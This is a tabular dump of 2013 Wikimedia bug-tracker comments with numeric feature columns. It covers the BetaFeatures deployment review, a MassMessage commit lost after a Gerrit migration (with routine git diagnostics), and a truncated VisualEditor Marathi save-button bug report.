244034,Review and deploy BetaFeatures extension,"Because this was supposed to happen yesterday, but the servers crapped themselves. I think the new deployment date is Monday.",,,1384509314,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-o4nfasrtm3o6yo3ndwdo,task_subcomment,,True,c1,3,True,,,19,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,13.0,4.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,9.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.608695652173913,0.9130434782608695,"Because this was supposed to happen yesterday, but the servers crapped themselves. I think the new deployment date is Monday."
244029,Review and deploy BetaFeatures extension,Why is this bug marked fixed?,,,1384493719,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-o4nfasrtm3o6yo3ndwdo,task_subcomment,,True,c1,3,False,,,19,,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,1.0,Why is this bug marked fixed?
244026,Review and deploy BetaFeatures extension,Ready to deploy.,,,1383178559,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-o4nfasrtm3o6yo3ndwdo,task_subcomment,,True,c1,3,True,,,17,,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Ready to deploy.
244019,Review and deploy BetaFeatures extension,"Adding dependencies - we're not deploying BF until the three listed extensions are also deployable. We're hoping that'll happen by Thursday morning.

AWAY!!!!",,,1382980087,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-o4nfasrtm3o6yo3ndwdo,task_subcomment,,True,c1,3,True,,,17,,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,9.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,15.0,0.0,0.0,3.0,0.0,0.0,12.0,0.0,3.0,0.0,3.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,4.151515151515151,0.8484848484848485,"Adding dependencies - we're not deploying BF until the three listed extensions are also deployable. We're hoping that'll happen by Thursday morning.

AWAY!!!!"
244011,Review and deploy BetaFeatures extension,"Security fixes in https://gerrit.wikimedia.org/r/86023 should close the review portion of this bug - ready for deployment.

We'll discuss deployment strategy after that patch is merged and we have a better idea of what we want out of it.",,,1380139390,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-o4nfasrtm3o6yo3ndwdo,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,17.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,7.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,17.0,2.0,0.0,0.0,0.0,10.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,4.166666666666667,0.8809523809523809,"Security fixes in GERRIT_URL should close the review portion of this bug - ready for deployment.

We'll discuss deployment strategy after that patch is merged and we have a better idea of what we want out of it."
244005,Review and deploy BetaFeatures extension,"Design review is done - security review only remaining review.

== TODO/Check list ==
Extension page on mediawiki.org: yes 
Bugzilla component: yes
Extension in Gerrit: yes
Design Review: yes
Archeticecture/Performance Review: yes
Security Review: no
Screencast (if applicable): N/A
Community support: I believe so",,,1379978838,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-o4nfasrtm3o6yo3ndwdo,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,27.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,1.0,4.0,24.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.9295774647887325,0.6056338028169014,"Design review is done - security review only remaining review.

== TODO/Check list ==
Extension page on mediawiki.org: yes 
Bugzilla component: yes
Extension in Gerrit: yes
Design Review: yes
Archeticecture/Performance Review: yes
Security Review: no
Screencast (if applicable): N/A
Community support: I believe so"
243999,Review and deploy BetaFeatures extension,"Reedy did architecture/performance review. Chris will be doing security review sometime early next week. Design review is being finalized as we speak.

We'll be rolling this out in tandem with a bunch of other changes, so the deployment won't happen right away, and it will happen in stages (like Notifications, basically).",,,1379703244,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-o4nfasrtm3o6yo3ndwdo,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,3.0,2.0,3.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,8.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,12.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,4.2153846153846155,0.8307692307692308,"Reedy did architecture/performance review. Chris will be doing security review sometime early next week. Design review is being finalized as we speak.

We'll be rolling this out in tandem with a bunch of other changes, so the deployment won't happen right away, and it will happen in stages (like Notifications, basically)."
243993,Review and deploy BetaFeatures extension,"Hello, this is a quasi-automated-but-not-really message:

I am reviewing all tracking bugs for extensions to review and deploy to WMF servers. See the list here:
https://bugzilla.wikimedia.org/showdependencytree.cgi?id=31235&hide_resolved=1

The [[mw:Review queue]] page lists the steps necessary to complete the review. I have copied them below and done some initial filling out based on what I can easily gleen from this bug and any linked to sources that are obvious. If I miss something/state something false, please do correct me.

Also, if you haven't yet done so, please review the information on and linked to from:
https://www.mediawiki.org/wiki/Writing_an_extension_for_deployment


== TODO/Check list ==
Extension page on mediawiki.org: yes 
Bugzilla component: yes
Extension in Gerrit: yes
Design Review: yes
Archeticecture/Performance Review: no
Security Review: no
Screencast (if applicable): no
Community support: I believe so",,,1378507279,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-o4nfasrtm3o6yo3ndwdo,task_subcomment,,True,c1,3,False,,,9,,1.5,1.0,0.0,0.0,1.0,3.5,1.0,0.0,0.0,1.5,0.5,0.5,0.0,0.0,0.0,3.0,0.0,5.0,8.5,1.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.5,0.0,0.0,4.0,1.5,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,1.5,0.0,0.5,0.0,0.5,0.0,10.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,3.0,1.5,15.5,1.5,2.5,7.0,0.0,0.0,0.0,0.0,4.5,4.0,0.0,0.0,4.0,8.5,9.5,0.0,0.0,0.0,4.0,0.0,1.0,0.5,1.0,1.0,0.0,0.0,2.0,3.7247545582047685,0.6915030388031791,"Hello, this is a quasi-automated-but-not-really message:

I am reviewing all tracking bugs for extensions to review and deploy to WMF servers. See the list here:
URL

The [[mw:Review queue]] page lists the steps necessary to complete the review. I have copied them below and done some initial filling out based on what I can easily gleen from this bug and any linked to sources that are obvious. If I miss something/state something false, please do correct me.

Also, if you haven't yet done so, please review the information on and linked to from:
URL


== TODO/Check list ==
Extension page on mediawiki.org: yes 
Bugzilla component: yes
Extension in Gerrit: yes
Design Review: yes
Archeticecture/Performance Review: no
Security Review: no
Screencast (if applicable): no
Community support: I believe so"
55836,Commit missing from mediawiki/exentions/MassMessage repo,"https://gerrit.wikimedia.org/r/#/c/82796/ - sha1: 8587e2e4b4f90ca9cdba0f39e647b235921a5ae8

Missing on git.wm.o, gerrit, github:

https://git.wikimedia.org/summary/mediawiki%2Fextensions%2FMassMessage.git

https://github.com/wikimedia/mediawiki-extensions-MassMessage/commits/master 

km-mpb:~ km$ git clone ssh://legoktm@gerrit.wikimedia.org:29418/mediawiki/extensions/MassMessage.git
Cloning into 'MassMessage'...
[snipped]
Checking connectivity... done
km-mpb:~ km$ cd MassMessage/
km-mpb:MassMessage km$ git log --oneline
85283ca Localisation updates from http://translatewiki.net.
b9ccd1c Autocomplete suggestions for spamlist input
3027dc6 Localisation updates from http://translatewiki.net.
8d106e1 Localisation updates from http://translatewiki.net.
[snipped]

Luckily this is a pretty minor change, so I can re-do it, but it really shouldn't have disappeared in the first place...

--------------------------
**Version**: wmf-deployment
**Severity**: major",High,80.0,1378444620,1378697343.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-gendcsutkyq5czjdhhzy,task_description,resolved,True,c1,3,False,False,True,9,,0.0,0.0,0.0,0.0,0.5,3.5,0.5,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.5,0.0,3.0,6.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,3.0,0.5,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.5,12.0,0.5,0.5,2.0,0.0,0.0,0.0,0.0,3.0,0.0,2.5,0.0,2.0,6.0,12.0,0.0,1.0,0.0,2.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,1.0,4.767796248934356,0.6572890025575449,"URL - sha1: 8587e2e4b4f90ca9cdba0f39e647b235921a5ae8

Missing on git.wm.o, gerrit, github:

URL

URL 

km-mpb:~ km$ git clone ssh://legoktm@gerrit.wikimedia.org:29418/mediawiki/extensions/MassMessage.git
Cloning into 'MassMessage'...
[snipped]
Checking connectivity... done
km-mpb:~ km$ cd MassMessage/
km-mpb:MassMessage km$ git log --oneline
85283ca Localisation updates from URL
b9ccd1c Autocomplete suggestions for spamlist input
3027dc6 Localisation updates from URL
8d106e1 Localisation updates from URL
[snipped]

Luckily this is a pretty minor change, so I can re-do it, but it really shouldn't have disappeared in the first place...

--------------------------
**Version**: wmf-deployment
**Severity**: major"
242282,Commit missing from mediawiki/exentions/MassMessage repo,"

*** This bug has been marked as a duplicate of bug 53841 ***",,,1378697343,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-gendcsutkyq5czjdhhzy,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 53841 ***"
242278,Commit missing from mediawiki/exentions/MassMessage repo,"(In reply to comment #7)
> (In reply to comment #6)
> > I don't think my issue is the same since the commit is missing from both the
> > web viewers on git.wm.o and github.
> > 
> > I'm not sure I've hardcoded an IP anywhere, I just use gerrit.wikimedia.org
> > when cloning.
> 
> So what happened here was the change was merged without a merge commit. Will
> require some manual wrangling one way or the other to fix.

Maybe I'm misunderstanding, but the commit was merged just fine. It didn't need a merge commit since at the time, it was directly on top of the current HEAD. It was replicated to github fine, and I pulled locally using my gerrit remote. When the upgrade happened it vanished. At that point, it was missing from gerrit.wm.o, but it was still visible on github, until the l10n-bot updated the translations, off of the HEAD on gerrit, which was (force?) pushed to github and overrode the ""fix typo"" commit.",,,1378504584,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-gendcsutkyq5czjdhhzy,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,1.0,0.5,1.5,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,2.0,0.5,4.0,9.5,0.0,0.5,0.0,0.5,0.5,7.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,3.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,12.5,0.0,0.5,0.5,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.5,3.5,10.5,1.0,2.5,7.0,0.0,0.0,0.0,0.5,1.5,0.0,0.5,0.0,5.5,9.5,8.5,0.5,1.5,0.0,5.5,0.0,1.5,0.5,0.0,2.0,0.0,0.0,0.0,3.5928175618073315,0.6646419437340154,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Maybe I'm misunderstanding, but the commit was merged just fine. It didn't need a merge commit since at the time, it was directly on top of the current HEAD. It was replicated to github fine, and I pulled locally using my gerrit remote. When the upgrade happened it vanished. At that point, it was missing from gerrit.wm.o, but it was still visible on github, until the l10n-bot updated the translations, off of the HEAD on gerrit, which was (force?) pushed to github and overrode the ""fix typo"" commit."
242275,Commit missing from mediawiki/exentions/MassMessage repo,"(In reply to comment #6)
> I don't think my issue is the same since the commit is missing from both the
> web viewers on git.wm.o and github.
> 
> I'm not sure I've hardcoded an IP anywhere, I just use gerrit.wikimedia.org
> when cloning.

So what happened here was the change was merged without a merge commit. Will require some manual wrangling one way or the other to fix.",,,1378499305,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-gendcsutkyq5czjdhhzy,task_subcomment,,True,c1,3,False,,,9,,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,4.0,17.0,0.0,2.0,9.0,0.0,0.0,0.0,2.0,7.0,0.0,4.0,0.0,0.0,9.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.5434782608695654,0.7391304347826086,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

So what happened here was the change was merged without a merge commit. Will require some manual wrangling one way or the other to fix."
242272,Commit missing from mediawiki/exentions/MassMessage repo,"I don't think my issue is the same since the commit is missing from both the web viewers on git.wm.o and github.

I'm not sure I've hardcoded an IP anywhere, I just use gerrit.wikimedia.org when cloning.",,,1378498136,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-gendcsutkyq5czjdhhzy,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,5.0,5.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,12.0,0.0,12.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,5.0,12.0,5.0,5.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,7.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,3.9302325581395348,0.8372093023255814,"I don't think my issue is the same since the commit is missing from both the web viewers on git.wm.o and github.

I'm not sure I've hardcoded an IP anywhere, I just use gerrit.wikimedia.org when cloning."
242268,Commit missing from mediawiki/exentions/MassMessage repo,"To the original reporter: can you confirm the IP address you are using for gerrit.wikimedia.org?  That would let us figure out if you have the same issue I was having, or a different one.",,,1378494665,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-gendcsutkyq5czjdhhzy,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,5.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,10.0,3.0,3.0,13.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,13.0,10.0,3.0,3.0,0.0,0.0,13.0,0.0,0.0,3.0,3.0,5.0,0.0,0.0,0.0,3.948717948717949,0.8974358974358975,"To the original reporter: can you confirm the IP address you are using for gerrit.wikimedia.org?  That would let us figure out if you have the same issue I was having, or a different one."
242263,Commit missing from mediawiki/exentions/MassMessage repo,Mea culpa -- my bug (in comment 2) was caused by an out-of-date entry for gerrit.wikimedia.org in my /etc/hosts file.  =(,,,1378494584,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-gendcsutkyq5czjdhhzy,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,19.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.2580645161290325,0.9032258064516129,Mea culpa -- my bug (in comment 2) was caused by an out-of-date entry for gerrit.wikimedia.org in my /etc/hosts file.  =(
242258,Commit missing from mediawiki/exentions/MassMessage repo,"(In reply to comment #2)
> This breakage seems to be a side-effect of the gerrit migration.  For me,
> 
> $ git clone
> https://gerrit.wikimedia.org/r/p/mediawiki/extensions/VisualEditor
> $ cd VisualEditor ; git log --oneline -1
> feff1fb Merge ""Improve welcome dialog support for large fonts""
> 
I can't reproduce. I get
47545a5 Remove no-insertion metadata corner case from `ve.dm.Transaction.pushReplace()`.

as expected.",,,1378490942,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-gendcsutkyq5czjdhhzy,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,4.0,9.0,20.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.239130434782609,0.6304347826086957,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
I can't reproduce. I get
47545a5 Remove no-insertion metadata corner case from CODE.

as expected."
242248,Commit missing from mediawiki/exentions/MassMessage repo,"This breakage seems to be a side-effect of the gerrit migration.  For me,

$ git clone https://gerrit.wikimedia.org/r/p/mediawiki/extensions/VisualEditor
$ cd VisualEditor ; git log --oneline -1
feff1fb Merge ""Improve welcome dialog support for large fonts""

versus

$ git clone https://git.wikimedia.org/git/mediawiki/extensions/VisualEditor.git
$ cd VisualEditor ; git log --oneline -1
47545a5 Remove no-insertion metadata corner case from `ve.dm.Transaction.pushReplace()`


Note that https://git.wikimedia.org/summary/mediawiki%2Fextensions%2FVisualEditor shows the latter commit, but 'git review -s ; git log gerrit/master' shows the former.",,,1378483919,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-gendcsutkyq5czjdhhzy,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,23.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,12.0,1.0,1.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,8.0,16.0,0.0,4.0,0.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,3.7291666666666665,0.65625,"This breakage seems to be a side-effect of the gerrit migration.  For me,

$ git clone URL
$ cd VisualEditor ; git log --oneline -1
feff1fb Merge ""Improve welcome dialog support for large fonts""

versus

$ git clone URL
$ cd VisualEditor ; git log --oneline -1
47545a5 Remove no-insertion metadata corner case from CODE


Note that URL shows the latter commit, but 'git review -s ; git log gerrit/master' shows the former."
242238,Commit missing from mediawiki/exentions/MassMessage repo,"Eventhough the WebUI shows the change as having status 'Merged', the
change cannot be fetched directly:

  git fetch ssh://qchris@gerrit.wikimedia.org:29418/mediawiki/extensions/MassMessage refs/changes/96/82796/1
  fatal: Couldn't find remote ref refs/changes/96/82796/1",,,1378461586,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-gendcsutkyq5czjdhhzy,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,2.0,5.0,8.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,10.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.225,0.8,"Eventhough the WebUI shows the change as having status 'Merged', the
change cannot be fetched directly:

  git fetch ssh://qchris@gerrit.wikimedia.org:29418/mediawiki/extensions/MassMessage refs/changes/96/82796/1
  fatal: Couldn't find remote ref refs/changes/96/82796/1"
55788,VisualEditor: Marathi/Devanagari: Save button does not get enabled for same or lesser length change,"*Problem Description: If for spelling correction purposes only few charecters within any word are selected and replaced with other charecter of same or lesser length, without movement of arrow keys or spacebar, save button does not get enabled, so effectively we would not be able to save the change.

**Additional details : Problem was identified when we were trying to reproduce bug 53758, intution is it may be some how indirectly related to bug 53758


*Tested Browser and OS =Firefox+Win7

**Were enabled: VisualEditor+ULS Method of input = अक्षरांतरण language=Marathi 
Script=Devanagari  (Non-VE source edit environ,ULS Method of input = अक्षरांतरण
works normal)     

Steps to reproduce:
* Steps to reproduce:
1. Go to existing page with considerable Marathi Devnagari text may be like
https://mr.wikipedia.org/wiki/अभिमन्यु

2. Go to माझ्या पसंती (Preferences), संपादन and enable last option:
यथादृश्यसंपादक कार्यान्वित करा (केवळ मुख्य(लेख) आणि सदस्य नामविश्वात) - this
enables VisualEditor
3. Click cog next to इतर भाषांमध्ये
4. Under क्षेपन (टायपींग ईनपुट) make sure to choose अक्षरांतरण

5. Select any random  marathi word from existing paragraph text 

6.Make the changes in the word by changing alphabate but see that length of the word remains less after the change.
**Please note do not move arrow keys or spacebar

7 Save button does not apear

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1378345920,1381270319.0,PHID-USER-azy72hrp3tpetr52aob6,False,,False,PHID-TASK-djr6oferphbxqbgynsnj,task_description,resolved,True,c1,3,False,False,False,9,,1.3333333333333333,0.0,0.0,1.0,1.3333333333333333,5.333333333333333,1.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,4.333333333333333,8.666666666666666,0.0,1.6666666666666667,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,3.3333333333333335,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,2.3333333333333335,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,15.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,2.6666666666666665,11.666666666666666,1.0,2.3333333333333335,3.3333333333333335,0.0,0.0,0.0,0.0,6.666666666666667,0.3333333333333333,3.0,0.0,1.0,8.666666666666666,11.0,0.0,0.0,0.0,1.0,0.0,0.6666666666666666,0.0,0.0,1.6666666666666667,0.6666666666666666,0.0,0.6666666666666666,4.16190578465063,0.7230097365406644,"*Problem Description: If for spelling correction purposes only few charecters within any word are selected and replaced with other charecter of same or lesser length, without movement of arrow keys or spacebar, save button does not get enabled, so 